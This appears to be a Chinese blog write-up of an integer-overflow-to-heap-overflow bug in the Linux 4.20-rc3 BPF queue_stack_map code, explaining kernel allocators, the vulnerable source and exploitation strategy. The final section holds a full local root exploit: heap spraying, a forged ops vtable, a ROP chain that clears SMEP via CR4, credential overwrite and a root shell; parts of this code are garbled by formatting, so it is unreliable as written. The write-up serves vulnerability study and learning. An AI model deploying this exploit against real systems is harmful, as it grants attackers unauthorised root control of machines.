https://www.cnblogs.com/bsauce/p/11560224.html https://xz.aliyun.com/t/6212#toc-7 https://elixir.bootlin.com/linux/v4.20-rc3/source/kernel/bpf/queue_stack_maps.c#L200 https://www.anquanke.com/post/id/166819#h3-5 http://p4nda.top/2019/01/02/kernel-bpf-overflow/
漏洞存在于BPF模块中,该模块主要用于用户态定义数据包过滤方法,如常见的抓包工具都基于此实现,并且用户态的Seccomp功能也与此功能相似。
查看内核版本
/ # uname -a
Linux (none) 4.20.0-rc3 #1 SMP Wed Nov 21 15:03:18 CST 2018 x86_64 GNU/Linux
内核源码从这里看
https://elixir.bootlin.com/linux/v4.20-rc3/source
解压cpio系统文件
cpio -idmv < filename.cpio
再次创建系统文件
find . | cpio -o --format=newc > ../rootfs.img
如下脚本从bzImage提取vmlinux
#!/bin/sh
# SPDX-License-Identifier: GPL-2.0-only
# ----------------------------------------------------------------------
# extract-vmlinux - Extract uncompressed vmlinux from a kernel image
#
# Inspired from extract-ikconfig
# (c) 2009,2010 Dick Streefland <dick@streefland.net>
#
# (c) 2011 Corentin Chary <corentin.chary@gmail.com>
#
# ----------------------------------------------------------------------
check_vmlinux()
{
# Use readelf to check if it's a valid ELF
# TODO: find a better to way to check that it's really vmlinux
# and not just an elf
readelf -h $1 > /dev/null 2>&1 || return 1
cat $1
exit 0
}
try_decompress()
{
# The obscure use of the "tr" filter is to work around older versions of
# "grep" that report the byte offset of the line instead of the pattern.
# Try to find the header ($1) and decompress from here
for pos in `tr "$1\n$2" "\n$2=" < "$img" | grep -abo "^$2"`
do
pos=${pos%%:*}
tail -c+$pos "$img" | $3 > $tmp 2> /dev/null
check_vmlinux $tmp
done
}
# Check invocation:
me=${0##*/}
img=$1
if [ $# -ne 1 -o ! -s "$img" ]
then
echo "Usage: $me <kernel-image>" >&2
exit 2
fi
# Prepare temp files:
tmp=$(mktemp /tmp/vmlinux-XXX)
trap "rm -f $tmp" 0
# That didn't work, so retry after decompression.
try_decompress '\037\213\010' xy gunzip
try_decompress '\3757zXZ\000' abcde unxz
try_decompress 'BZh' xy bunzip2
try_decompress '\135\0\0\0' xxx unlzma
try_decompress '\211\114\132' xy 'lzop -d'
try_decompress '\002!L\030' xxx 'lz4 -d'
try_decompress '(\265/\375' xxx unzstd
# Finally check for uncompressed images or objects:
check_vmlinux $img
# Bail out:
echo "$me: Cannot find vmlinux." >&2
查找rop链
ropper --file vmlinux --nocolor > rop.txt
查看内核函数地址
cat /proc/kallsyms
查看内核堆情况
cat /proc/slabinfo
在init中添加cat /proc/kallsyms > /tmp/kallsyms
保存函数地址
伙伴算法的简要说明
Linux 便是采用这著名的伙伴系统算法来解决外部碎片的问题。把所有的空闲页框分组为 11 块链表,每一块链表分别包含大小为1,2,4,8,16,32,64,128,256,512 和 1024 个连续的页框。对1024 个页框的最大请求对应着 4MB 大小的连续RAM 块。每一块的第一个页框的物理地址是该块大小的整数倍。例如,大小为 16个页框的块,其起始地址是 16 * 2^12 (2^12 = 4096,这是一个常规页的大小)的倍数。
下面通过一个简单的例子来说明该算法的工作原理:
假设要请求一个256(129~256)个页框的块。算法先在256个页框的链表中检查是否有一个空闲块。如果没有这样的块,算法会查找下一个更大的页块,也就是,在512个页框的链表中找一个空闲块。如果存在这样的块,内核就把512的页框分成两等分,一般用作满足需求,另一半则插入到256个页框的链表中。如果在512个页框的块链表中也没找到空闲块,就继续找更大的块——1024个页框的块。如果这样的块存在,内核就把1024个页框块的256个页框用作请求,然后剩余的768个页框中拿512个插入到512个页框的链表中,再把最后的256个插入到256个页框的链表中。如果1024个页框的链表还是空的,算法就放弃并发出错误信号。
简而言之,就是在分配内存时,首先从空闲的内存中搜索比申请的内存大的最小的内存块。如果这样的内存块存在,则将这块内存标记为“已用”,同时将该内存分配给应用程序。如果这样的内存不存在,则操作系统将寻找更大块的空闲内存,然后将这块内存平分成两部分,一部分返回给程序使用,另一部分作为空闲的内存块等待下一次被分配。
以上过程的逆过程就是页框块的释放过程,也是该算法名字的由来。内核试图把大小为 b 的一对空闲伙伴块合并为一个大小为 2b 的单独块。满足以下条件的两个块称为伙伴:
- 两个快具有相同的大小,记作 b
- 它们的物理地址是连续的
- 第一块的第一个页框的物理地址是
2 * b * 2^12
的倍数
该算法是迭代的,如果它成功合并所释放的块,它会试图合并 2b 的块,以再次试图形成更大的块。
假设要释放一个256个页框的块,算法就把其插入到256个页框的链表中,然后检查与该内存相邻的内存,如果存在同样大小为256个页框的并且空闲的内存,就将这两块内存合并成512个页框,然后插入到512个页框的链表中,如果不存在,就没有后面的合并操作。然后再进一步检查,如果合并后的512个页框的内存存在大小为512个页框的相邻且空闲的内存,则将两者合并,然后插入到1024个页框的链表中。
简而言之,就是当程序释放内存时,操作系统首先将该内存回收,然后检查与该内存相邻的内存是否是同样大小并且同样处于空闲的状态,如果是,则将这两块内存合并,然后程序递归进行同样的检查。
下面通过一个例子,来深入地理解一下伙伴算法的真正内涵(下面这个例子并不严格表示Linux 内核中的实现,是阐述伙伴算法的实现思想):
假设系统中有 1MB 大小的内存需要动态管理,按照伙伴算法的要求:需要将这1M大小的内存进行划分。这里,我们将这1M的内存分为 64K、64K、128K、256K、和512K 共五个部分,如下图 a 所示.图片地址:https://img-blog.csdn.net/20140614202745343
1.此时,如果有一个程序A想要申请一块45K大小的内存,则系统会将第一块64K的内存块分配给该程序(产生内部碎片为代价),如图b所示;
2.然后程序B向系统申请一块68K大小的内存,系统会将128K内存分配给该程序,如图c所示;
3.接下来,程序C要申请一块大小为35K的内存。系统将空闲的64K内存分配给该程序,如图d所示;
4.之后程序D需要一块大小为90K的内存。当程序提出申请时,系统本该分配给程序D一块128K大小的内存,但此时内存中已经没有空闲的128K内存块了,于是根据伙伴算法的原理,系统会将256K大小的内存块平分,将其中一块分配给程序D,另一块作为空闲内存块保留,等待以后使用,如图e所示;
5.紧接着,程序C释放了它申请的64K内存。在内存释放的同时,系统还负责检查与之相邻并且同样大小的内存是否也空闲,由于此时程序A并没有释放它的内存,所以系统只会将程序C的64K内存回收,如图f所示;
6.然后程序A也释放掉由它申请的64K内存,系统随机发现与之相邻且大小相同的一段内存块恰好也处于空闲状态。于是,将两者合并成128K内存,如图g所示;
7.之后程序B释放掉它的128k,系统也将这块内存与相邻的128K内存合并成256K的空闲内存,如图h所示;
8.最后程序D也释放掉它的内存,经过三次合并后,系统得到了一块1024K的完整内存,如图i所示。
slab分配器简要说明
通俗的讲,slab 就是专门为某一模块预先一次性申请一定数量的内存备用,当这个模块想要使用内存的时候,就不再需要从系统中分配内存了(因为从系统中申请内存的时间开销相对来说比较大),而是直接从预申请的内存中拿出一部分来使用,这样就提高了这个模块的内存申请速度.
slab 要在合适的场合下使用才能发挥作用。使用 slab 通常需要满足以下两个条件:
第一条件是,当某一子系统需要频繁地申请和释放内存时,使用 slab 才会合理一些。如果某段程序中申请和释放内存的频率不高,就没必要预先申请一块很大的内存备用,然后再从这段私有空间中分配内存了。因为这样就意味着系统将会一次性损失过多内存,而由于内存请求的频率不高,也不会对系统性能有多大的提升。所以,对于频繁使用内存的程序来说,使用 slab 才有意义。
使用 slab 的另一个条件是,利用 slab 申请的内存必须是大小固定的。只有固定内存大小才有可能实现内存的高速申请和释放。
分配和释放数据结构时所有内核中最普遍的操作之一。Linux 内核提供了 slab 层(slab 分配器),其扮演了通用数据结构缓存层的角色。slab 层把不同的对象划分为所谓高速缓存组,其中每个高速缓存组都存放不同类型的对象,每种对象类型对应一个高速缓存。例如,一个高速缓存用于存放进程描述符,而另一个高速缓存存放索引节点对象,然后这些高速缓存又被划分为 slab。slab 由一个或多个物理上连续的页组成。一般情况下,slab 也就是仅仅由一页组成,每个高速缓存可以由多个 slab 组成。
slab 分配器把每一个请求的内存称之为对象。每个 slab 都包含一些对象成员,这里的对象指的是被缓存的数据结构。每个 slab 处于三种状态之一:满、部分满或空。一个满的 slab 没有空闲的对象(slab 中的对象都已被分配)。一个空的 slab 没有分配出任何对象(slab 中所有对象都是空闲的)。一个部分满的 slab 有一些对象已分配出去,有些对象还空闲着。当内核的某一部分需要一个新的对象时,先从部分满的 slab 中进行分配,如果没有部分满的 slab,就从空的 slab 中进行分配。如果没有空的 slab,就要创建一个 slab 了。
下面图示高速缓存、slab、对象之间的关系: https://img-blog.csdn.net/20140514202314640
每个高速缓存都使用 kmem_cache 结构来表示。这个结构包含3个链表:slabs_full,slabs_partial 和 slabs_empty,均存放在 kmem_list3 结构内(定义于 mm/slab.c),这些链表包含高速缓存中的所有slab。
更加详尽的内容见https://blog.csdn.net/wenqian1991/article/details/25652147
漏洞详情
这枚漏洞的根本成因是在创建queue_stack_map时发生的整数溢出导致申请出的对象偏小,函数调用链如下:
__x64_sys_bpf()
->map_create()
->find_and_alloc_map()
->queue_stack_map_alloc()
首先(https://elixir.bootlin.com/linux/v4.20-rc3/source/kernel/bpf/syscall.c#L2466),只需要传入相应的cmd,即可触发下一步
SYSCALL_DEFINE3(bpf, int, cmd, union bpf_attr __user *, uattr, unsigned int, size)
{
union bpf_attr attr = {};
int err;
if (sysctl_unprivileged_bpf_disabled && !capable(CAP_SYS_ADMIN))
return -EPERM;
err = bpf_check_uarg_tail_zero(uattr, sizeof(attr), size);
if (err)
return err;
size = min_t(u32, size, sizeof(attr));
/* copy attributes from user space, may be less than sizeof(bpf_attr) */
if (copy_from_user(&attr, uattr, size) != 0)
return -EFAULT;
err = security_bpf(cmd, &attr, size);
if (err < 0)
return err;
switch (cmd) {
case BPF_MAP_CREATE:
err = map_create(&attr);//进入这里触发下一步
break;
case BPF_MAP_LOOKUP_ELEM:
err = map_lookup_elem(&attr);
break;
case BPF_MAP_UPDATE_ELEM:
err = map_update_elem(&attr);
break;
case BPF_MAP_DELETE_ELEM:
err = map_delete_elem(&attr);
break;
case BPF_MAP_GET_NEXT_KEY:
err = map_get_next_key(&attr);
break;
case BPF_PROG_LOAD:
err = bpf_prog_load(&attr);
break;
case BPF_OBJ_PIN:
err = bpf_obj_pin(&attr);
break;
case BPF_OBJ_GET:
err = bpf_obj_get(&attr);
break;
case BPF_PROG_ATTACH:
err = bpf_prog_attach(&attr);
break;
case BPF_PROG_DETACH:
err = bpf_prog_detach(&attr);
break;
case BPF_PROG_QUERY:
err = bpf_prog_query(&attr, uattr);
break;
case BPF_PROG_TEST_RUN:
err = bpf_prog_test_run(&attr, uattr);
break;
case BPF_PROG_GET_NEXT_ID:
err = bpf_obj_get_next_id(&attr, uattr,
&prog_idr, &prog_idr_lock);
break;
case BPF_MAP_GET_NEXT_ID:
err = bpf_obj_get_next_id(&attr, uattr,
&map_idr, &map_idr_lock);
break;
case BPF_PROG_GET_FD_BY_ID:
err = bpf_prog_get_fd_by_id(&attr);
break;
case BPF_MAP_GET_FD_BY_ID:
err = bpf_map_get_fd_by_id(&attr);
break;
case BPF_OBJ_GET_INFO_BY_FD:
err = bpf_obj_get_info_by_fd(&attr, uattr);
break;
case BPF_RAW_TRACEPOINT_OPEN:
err = bpf_raw_tracepoint_open(&attr);
break;
case BPF_BTF_LOAD:
err = bpf_btf_load(&attr);
break;
case BPF_BTF_GET_FD_BY_ID:
err = bpf_btf_get_fd_by_id(&attr);
break;
case BPF_TASK_FD_QUERY:
err = bpf_task_fd_query(&attr, uattr);
break;
case BPF_MAP_LOOKUP_AND_DELETE_ELEM:
err = map_lookup_and_delete_elem(&attr);
break;
default:
err = -EINVAL;
break;
}
return err;
}
然后是map_create源码
#define BPF_MAP_CREATE_LAST_FIELD btf_value_type_id
/* called via syscall */
static int map_create(union bpf_attr *attr)
{
int numa_node = bpf_map_attr_numa_node(attr);
struct bpf_map *map;
int f_flags;
int err;
err = CHECK_ATTR(BPF_MAP_CREATE);
if (err)
return -EINVAL;
f_flags = bpf_get_file_flag(attr->map_flags);
if (f_flags < 0)
return f_flags;
if (numa_node != NUMA_NO_NODE &&
((unsigned int)numa_node >= nr_node_ids ||
!node_online(numa_node)))
return -EINVAL;
/* find map type and init map: hashtable vs rbtree vs bloom vs ... */
map = find_and_alloc_map(attr);//在这里调用下一步
if (IS_ERR(map))
return PTR_ERR(map);
err = bpf_obj_name_cpy(map->name, attr->map_name);
if (err)
goto free_map_nouncharge;
atomic_set(&map->refcnt, 1);
atomic_set(&map->usercnt, 1);
if (attr->btf_key_type_id || attr->btf_value_type_id) {
struct btf *btf;
if (!attr->btf_key_type_id || !attr->btf_value_type_id) {
err = -EINVAL;
goto free_map_nouncharge;
}
btf = btf_get_by_fd(attr->btf_fd);
if (IS_ERR(btf)) {
err = PTR_ERR(btf);
goto free_map_nouncharge;
}
err = map_check_btf(map, btf, attr->btf_key_type_id,
attr->btf_value_type_id);
if (err) {
btf_put(btf);
goto free_map_nouncharge;
}
map->btf = btf;
map->btf_key_type_id = attr->btf_key_type_id;
map->btf_value_type_id = attr->btf_value_type_id;
}
err = security_bpf_map_alloc(map);
if (err)
goto free_map_nouncharge;
err = bpf_map_init_memlock(map);
if (err)
goto free_map_sec;
err = bpf_map_alloc_id(map);
if (err)
goto free_map;
err = bpf_map_new_fd(map, f_flags);
if (err < 0) {
/* failed to allocate fd.
* bpf_map_put() is needed because the above
* bpf_map_alloc_id() has published the map
* to the userspace and the userspace may
* have refcnt-ed it through BPF_MAP_GET_FD_BY_ID.
*/
bpf_map_put(map);
return err;
}
return err;
free_map:
bpf_map_release_memlock(map);
free_map_sec:
security_bpf_map_free(map);
free_map_nouncharge:
btf_put(map->btf);
map->ops->map_free(map);
return err;
}
再然后是
static struct bpf_map *find_and_alloc_map(union bpf_attr *attr)
{
const struct bpf_map_ops *ops;
u32 type = attr->map_type;
struct bpf_map *map;
int err;
if (type >= ARRAY_SIZE(bpf_map_types))
return ERR_PTR(-EINVAL);
type = array_index_nospec(type, ARRAY_SIZE(bpf_map_types));
ops = bpf_map_types[type]; //根据type的值寻找所对应的处理函数虚表
if (!ops)
return ERR_PTR(-EINVAL);
if (ops->map_alloc_check) {
err = ops->map_alloc_check(attr);
if (err)
return ERR_PTR(err);
}
if (attr->map_ifindex)
ops = &bpf_map_offload_ops;
map = ops->map_alloc(attr); //调用虚函数
if (IS_ERR(map))
return map;
map->ops = ops;
map->map_type = type;
return map;
}
而在虚函数当中有一个queue_stack_map_alloc函数(https://elixir.bootlin.com/linux/v4.20-rc3/source/kernel/bpf/queue_stack_maps.c#L62)
static struct bpf_map *queue_stack_map_alloc(union bpf_attr *attr)
{
int ret, numa_node = bpf_map_attr_numa_node(attr);
struct bpf_queue_stack *qs;
u32 size, value_size;
u64 queue_size, cost;
size = attr->max_entries + 1; //会产生整数溢出
value_size = attr->value_size;
queue_size = sizeof(*qs) + (u64) value_size * size;
cost = queue_size;
if (cost >= U32_MAX - PAGE_SIZE)
return ERR_PTR(-E2BIG);
cost = round_up(cost, PAGE_SIZE) >> PAGE_SHIFT;
ret = bpf_map_precharge_memlock(cost);
if (ret < 0)
return ERR_PTR(ret);
qs = bpf_map_area_alloc(queue_size, numa_node); //申请过小的堆块
if (!qs)
return ERR_PTR(-ENOMEM);
memset(qs, 0, sizeof(*qs));
bpf_map_init_from_attr(&qs->map, attr);
qs->map.pages = cost;
qs->size = size;
raw_spin_lock_init(&qs->lock);
return &qs->map;
}
这个函数就是我们整数溢出漏洞的关键函数了; 因为这里size的类型是u32:
u32 size, value_size;
u64 queue_size, cost;
整数溢出
其中attr->max_entries
是我们传进来的参数,是可控的
因为size = attr->max_entries + 1;
如果attr->max_entries=0xffffffff
,那么attr->max_entries+1
的时候就会发生整数溢出使得size=0了;
然后因为后续在函数bpf_map_area_alloc
中会申请一块大小为queue_size的堆内存,而queue_size的大小由queue_size = sizeof(*qs) + (u64) value_size * size;
表达式计算得到的(其中size=0).所以最后我们分配的堆的大小只有sizeof(*qs)
了
因为上面的整数溢出漏洞,导致了内存分配的时候仅仅分配了管理块的大小,但是没有分配实际存储数据的内存;之后我们可以在另一个bpf系统调用map_update_elem
这块map的过程中,向这块过小的queue stack
中区域拷入数据,就导致内核堆溢出,源码:(https://elixir.bootlin.com/linux/v4.20-rc3/source/kernel/bpf/queue_stack_maps.c#L200)
/* Called from syscall or from eBPF program */
static int queue_stack_map_push_elem(struct bpf_map *map, void *value,
u64 flags)
{
struct bpf_queue_stack *qs = bpf_queue_stack(map);
unsigned long irq_flags;
int err = 0;
void *dst;
/* BPF_EXIST is used to force making room for a new element in case the
* map is full
*/
bool replace = (flags & BPF_EXIST);
/* Check supported flags for queue and stack maps */
if (flags & BPF_NOEXIST || flags > BPF_EXIST)
return -EINVAL;
raw_spin_lock_irqsave(&qs->lock, irq_flags);
if (queue_stack_map_is_full(qs)) {
if (!replace) {
err = -E2BIG;
goto out;
}
/* advance tail pointer to overwrite oldest element */
if (unlikely(++qs->tail >= qs->size))
qs->tail = 0;
}
dst = &qs->elements[qs->head * qs->map.value_size];
memcpy(dst, value, qs->map.value_size); //堆溢出
if (unlikely(++qs->head >= qs->size))
qs->head = 0;
out:
raw_spin_unlock_irqrestore(&qs->lock, irq_flags);
return err;
}
这里memcpy函数中的dst就是上面申请的queue stack区域,而src是由用户态拷入的大小为qs->map.value_size
的buffer, 拷贝长度由创建queue_stack时用户提供的attr.value_size
所决定的,所以拷贝长度也是用户可控的;sizeof(struct bpf_queue_stack)
就有256个字节,如果当value_size > 256 - (&qs->elements - &qs)
时,就会发生越界了;
堆溢出
之后,可以在另一个bpf系统调用update这块map过程中,向这块过小的queue stack区域拷入数据,导致内核堆溢出。调用链如下:
__x64_sys_bpf()
->map_update_elem()
->queue_stack_map_push_elem()//堆溢出
其中发生溢出的是queue_stack_map_hash_elem()函数中的memcpy调用。由源码可知,memcpy的dst就是上面申请的queue stack区域,src是由用户态拷入的大小为qs->map.value_size的buffer, 拷贝长度由创建queue_stack时用户提供的attr.value_size决定,因此拷贝长度用户可控。
queue_stack_map_push_elem()函数如下:
static int queue_stack_map_push_elem(struct bpf_map *map, void *value,
u64 flags)
{
struct bpf_queue_stack *qs = bpf_queue_stack(map);
unsigned long irq_flags;
int err = 0;
void *dst;
bool replace = (flags & BPF_EXIST);
if (flags & BPF_NOEXIST || flags > BPF_EXIST)
return -EINVAL;
raw_spin_lock_irqsave(&qs->lock, irq_flags);
if (queue_stack_map_is_full(qs)) {
if (!replace) {
err = -E2BIG;
goto out;
}
if (unlikely(++qs->tail >= qs->size))
qs->tail = 0;
}
dst = &qs->elements[qs->head * qs->map.value_size];
memcpy(dst, value, qs->map.value_size); //堆溢出
if (unlikely(++qs->head >= qs->size))
qs->head = 0;
out:
raw_spin_unlock_irqrestore(&qs->lock, irq_flags);
return err;
}
可以看出memcpy(dst, value, qs->map.value_size); //堆溢出处是一个明显的堆溢出漏洞。由于dst堆块在之前计算堆块分配大小的过程中发生了整数溢出大小只有sizeof(struct bpf_queue_stack)也就是256个字节,如果value_size > 256 - (&qs->elements - &qs),就会发生越界拷贝。
两处漏洞总结
利用之前,我们先来总结一下该漏洞提供的基本能力:现在我们有一个整数溢出导致的堆溢出漏洞,溢出的长度完全可控,溢出的内容也完全可控,发生溢出的堆块(struct bpf_queue_stack)大小是256个字节。
漏洞关键数据结构struct bpf_queue_stack定义如下:
struct bpf_queue_stack {
struct bpf_map map;
raw_spinlock_t lock;
u32 head, tail;
u32 size;
char elements[0] __aligned(8);
};
struct bpf_map {
const struct bpf_map_ops *ops ____cacheline_aligned; //虚表
struct bpf_map *inner_map_meta;
void *security;
enum bpf_map_type map_type;
u32 key_size;
u32 value_size;
u32 max_entries;
u32 map_flags;
u32 pages;
u32 id;
int numa_node;
u32 btf_key_type_id;
u32 btf_value_type_id;
struct btf *btf;
bool unpriv_array;
struct user_struct *user ____cacheline_aligned;
atomic_t refcnt;
atomic_t usercnt;
struct work_struct work;
char name[BPF_OBJ_NAME_LEN];
};
我们需要在溢出之前完成堆风水,将一个包含函数指针或写指针的敏感指针“受害者”对象放在发生溢出的堆块后面。
Linux内核的堆分配机制在分配堆块时,倾向于为相近种类,相同大小的堆块申请一块大内存,在这篇内存里存放的都是相同大小和相近类型的堆块。
对于这个漏洞来说,虽然不能使用常见的struct file_struct来充当受害者对象,但漏洞对象本身就可以充当受害者对象。这是因为struct bpf_queue_stack的第一个成员bpf_map_ops就是一个包含许多函数指针的虚表指针,我们只需要连续申请两个bpf_queue_stack,就可以让第一个bpf_queue_stack发生溢出,改写后一个bpf_queue_stack的虚表指针。
在bpf_map_ops这个虚表里面有许多的函数指针:
const struct bpf_map_ops queue_map_ops = {
.map_alloc_check = queue_stack_map_alloc_check,
.map_alloc = queue_stack_map_alloc,
.map_free = queue_stack_map_free,
.map_lookup_elem = queue_stack_map_lookup_elem,
.map_update_elem = queue_stack_map_update_elem,
.map_delete_elem = queue_stack_map_delete_elem,
.map_push_elem = queue_stack_map_push_elem,
.map_pop_elem = queue_map_pop_elem,
.map_peek_elem = queue_map_peek_elem,
.map_get_next_key = queue_stack_map_get_next_key,
};
如果我们能通过堆溢出将ops指向一块伪造的虚表,那么就可能通过dereference这些函数指针中的任何一个实现控制流劫持,获得rip的控制权。本次发布的利用代码[4]使用close()一个bpf map的方法来获得控制流劫持的机会:
/* called from workqueue */
static void bpf_map_free_deferred(struct work_struct *work)
{
struct bpf_map *map = container_of(work, struct bpf_map, work);
bpf_map_release_memlock(map);
security_bpf_map_free(map);
/* implementation dependent freeing */
map->ops->map_free(map);
}
/* decrement map refcnt and schedule it for freeing via workqueue
* (unrelying map implementation ops->map_free() might sleep)
*/
static void __bpf_map_put(struct bpf_map *map, bool do_idr_lock)
{
if (atomic_dec_and_test(&map->refcnt)) {
/* bpf_map_free_id() must be called first */
bpf_map_free_id(map, do_idr_lock);
btf_put(map->btf);
INIT_WORK(&map->work, bpf_map_free_deferred);
schedule_work(&map->work);
}
}
在close()受害者BPF map时,会将bpf_map_free_deferred()添加到队列并随后执行,通过将map->ops指向用户态可控位置,并且将ops.map_free设为任意值,我们就可以在执行map->ops->map_free(map);语句时将rip设置为任意值。
在获得控制流劫持的机会后,对于SMEP, SMAP, KASLR等内核漏洞缓解机制的绕过仍然是漏洞利用的巨大挑战。我们仅公布绕过SMEP的利用代码,并对其他缓解机制的绕过作一些讨论。
在公布的利用代码中我们针对仅有SMEP的防御的情况,选择了一种最基础的利用流程[3]:
堆风水
触发堆溢出
控制流劫持
stack pivoting到用户态
commit_cred(prepare_kernel_cred(0))提权
swapgs
修复页表(针对KPTI(Kernel Page Table Isolation)在kernel页表中移除了用户态可执行代码)(optional)
iretq
get_shell().
SMAP防止ring 0代码访问用户态数据,Linux下的传统的绕过SMAP提权的方法包括以下几种
- 利用JOP改写CR4寄存器关闭SMAP防御
- 利用call_usermodehelper 以root身份执行binary
- 通过内存任意读写直接改写当前进程cred。
漏洞利用
综上所述,我们可以利用一个整数溢出漏洞造成一个堆溢出漏洞,但是这里我们有限定条件:
- 申请堆块的大小是0x100;
- 可以向相邻堆块溢出;不过在这个模块中刚好有一个数据结构我们可以使用bpf_queue_stack: ``` struct bpf_queue_stack { struct bpf_map map; raw_spinlock_t lock; u32 head, tail; u32 size;
char elements[0] __aligned(8); };
其中struct bpf_map为:
struct bpf_map { const struct bpf_map_ops *ops ____cacheline_aligned; //虚表 struct bpf_map *inner_map_meta; void *security; enum bpf_map_type map_type; u32 key_size; u32 value_size; u32 max_entries; u32 map_flags; u32 pages; u32 id; int numa_node; u32 btf_key_type_id; u32 btf_value_type_id; struct btf *btf; bool unpriv_array; struct user_struct *user ____cacheline_aligned; atomic_t refcnt; atomic_t usercnt; struct work_struct work; char name[BPF_OBJ_NAME_LEN]; };
这个bpf_map_ops虚表里面有许多的函数指针:
const struct bpf_map_ops queue_map_ops = { .map_alloc_check = queue_stack_map_alloc_check, .map_alloc = queue_stack_map_alloc, .map_free = queue_stack_map_free, .map_lookup_elem = queue_stack_map_lookup_elem, .map_update_elem = queue_stack_map_update_elem, .map_delete_elem = queue_stack_map_delete_elem, .map_push_elem = queue_stack_map_push_elem, .map_pop_elem = queue_map_pop_elem, .map_peek_elem = queue_map_peek_elem, .map_get_next_key = queue_stack_map_get_next_key, };
因为struct bpf_queue_stack的第一个成员bpf_map_ops是一个包含了许多函数指针的虚表指针,所以我们只需要连续申请两个bpf_queue_stack,然后让第一个bpf_queue_stack发生溢出,将后一个bpf_queue_stack的虚表指针改写为我们在用户态空间中构造一个虚函数表,将指针指向这个虚函数表利用close函数即可以触发一个伪造的函数地址来劫持控制流;
这是因为在close(BPF map)时,会将bpf_map_free_deferred()添加到队列并随后执行,通过将map->ops指向用户态可控位置,并且将ops.map_free设为任意值,我们就可以在执行map->ops->map_free(map);语句的时候就可以将rip设置为任意值了;
#### 最终exp
// exploit author: Wei Wu (ww9210@gmail.com) // initial poc generated by syzkaller // modified by cc-sir #define _GNU_SOURCE #define SPRAY_NUMBER 14
#include
unsigned long user_cs, user_ss, user_rflags;
static void save_state() { asm( “movq %%cs, %0\n” “movq %%ss, %1\n” “pushfq\n” “popq %2\n” : “=r”(user_cs), “=r”(user_ss), “=r”(user_rflags) : : “memory”); }
void get_shell() { system(“id”); char *shell = “/bin/sh”; char *args[] = {shell, NULL}; execve(shell, args, NULL); }
typedef int attribute((regparm(3))) (* _commit_creds)(unsigned long cred); typedef unsigned long attribute((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds = (_commit_creds)COMMIT_CREDS; _prepare_kernel_cred prepare_kernel_cred = (_prepare_kernel_cred)PREPARE_KERNEL_CRED;
void get_root_payload(void) { commit_creds(prepare_kernel_cred(0)); } unsigned long rop_chain[] = { popraxret, 0x6f0, 0xffffffff81001c51,//native_write_cr4, poprdiret, 0, PREPARE_KERNEL_CRED, 0xffffffff81001c50, //: pop rsi ; ret poprdiret, 0xffffffff81264e0b,//: push rax; push rsi; ret; //0xffffffff812646fb, //: push rax ; push rsi ; ret COMMIT_CREDS, swapgs, 0x246, iretq, (unsigned long)&get_shell, 0,//user_cs, 0,//user_rflags, 0,//krop_base_mapped + 0x4000, 0//user_ss };
void * fakestack; void prepare_krop(){ krop_base_mapped=mmap((void )krop_base_to_map,0x8000,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANONYMOUS,-1,0); if (krop_base_mapped<0){ perror(“mmap failed”); } fakestack=mmap((void *)0xa000000000,0x8000,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANONYMOUS,-1,0); *(unsigned long)0x0000000081954dc8=popraxret; (unsigned long)krop_base_to_map = 0; (unsigned long)(krop_base_to_map+0x1000) = 0; (unsigned long)(krop_base_to_map+0x2000) = 0; (unsigned long)(krop_base_to_map+0x3000) = 0; (unsigned long)(krop_base_to_map+0x4000) = 0; (unsigned long)(krop_base_to_map+0x5000) = 0; (unsigned long)(krop_base_to_map+0x6000) = 0; (unsigned long)(krop_base_to_map+0x7000) = 0; (unsigned long)(fakestack+0x4000) = 0; (unsigned long)(fakestack+0x3000) = 0; (unsigned long)(fakestack+0x2000) = 0; (unsigned long)(fakestack+0x1000) = 0; (unsigned long)(fakestack) = 0; (unsigned long)(fakestack+0x10) = stack_pivot_gadget; (unsigned long)(fakestack+0x7000) = 0; (unsigned long)(fakestack+0x6000) = 0; (unsigned long)(fakestack+0x5000) = 0; rop_chain[12+2]=user_cs; rop_chain[13+2]=user_rflags; rop_chain[14+2]=(unsigned long)(fakestack + 0x6000); rop_chain[15+2]=user_ss; memcpy(krop_base_mapped+rop_start,rop_chain,sizeof(rop_chain)); puts(“Rop Payload Initialized”); }
#ifndef __NR_bpf #define __NR_bpf 321 #endif
uint64_t r[1] = {0xffffffffffffffff};
long victim[SPRAY_NUMBER]; void spray(){ int i; for(i=0;i<SPRAY_NUMBER;i++){ victim[i] = syscall(__NR_bpf, 0, 0x200011c0, 0x2c); } return; } void get_shell_again(){ puts(“SIGSEGV found”); puts(“get shell again”); system(“id”); char shell = “/bin/sh”; char *args[] = {shell, NULL}; execve(shell, args, NULL); } int main(void) { signal(SIGSEGV,get_shell_again); syscall(__NR_mmap, 0x20000000, 0x1000000, 3, 0x32, -1, 0); long res = 0; *(uint32_t)0x200011c0 = 0x17; (uint32_t)0x200011c4 = 0; (uint32_t)0x200011c8 = 0x40; (uint32_t)0x200011cc = -1; (uint32_t)0x200011d0 = 0; (uint32_t)0x200011d4 = -1; (uint32_t)0x200011d8 = 0; (uint8_t)0x200011dc = 0; (uint8_t)0x200011dd = 0; (uint8_t)0x200011de = 0; (uint8_t)0x200011df = 0; (uint8_t)0x200011e0 = 0; (uint8_t)0x200011e1 = 0; (uint8_t)0x200011e2 = 0; (uint8_t)0x200011e3 = 0; (uint8_t)0x200011e4 = 0; (uint8_t)0x200011e5 = 0; (uint8_t)0x200011e6 = 0; (uint8_t)0x200011e7 = 0; (uint8_t)0x200011e8 = 0; (uint8_t)0x200011e9 = 0; (uint8_t)0x200011ea = 0; (uint8_t)0x200011eb = 0; save_state(); prepare_krop(); res = syscall(__NR_bpf, 0, 0x200011c0, 0x2c); if (res != -1) r[0] = res; spray();
(uint32_t)0x200000c0 = r[0]; (uint64_t)0x200000c8 = 0; (uint64_t)0x200000d0 = 0x20000140; (uint64_t)0x200000d8 = 2; uint64_t* ptr = (uint64_t)0x20000140; ptr[0]=1; ptr[1]=2; ptr[2]=3; ptr[3]=4; ptr[4]=5; ptr[5]=6; ptr[6]=0xa000000000; ptr[7]=8; syscall(__NR_bpf, 2, 0x200000c0, 0x20); int i; *(unsigned long)(fakestack+0x7000) = 0; (unsigned long)(fakestack+0x6000) = 0; (unsigned long)(fakestack+0x5000) = 0; for(i=0;i<SPRAY_NUMBER;i++){ close(victim[i]); } return 0; }
编译
gcc exp.c -o exp -static -w
#### 开始调试
gdb -q ./vmlinux target remote :1234 b blkdev_write_iter b *0xffffffff811af0d7
查看各个函数的地址
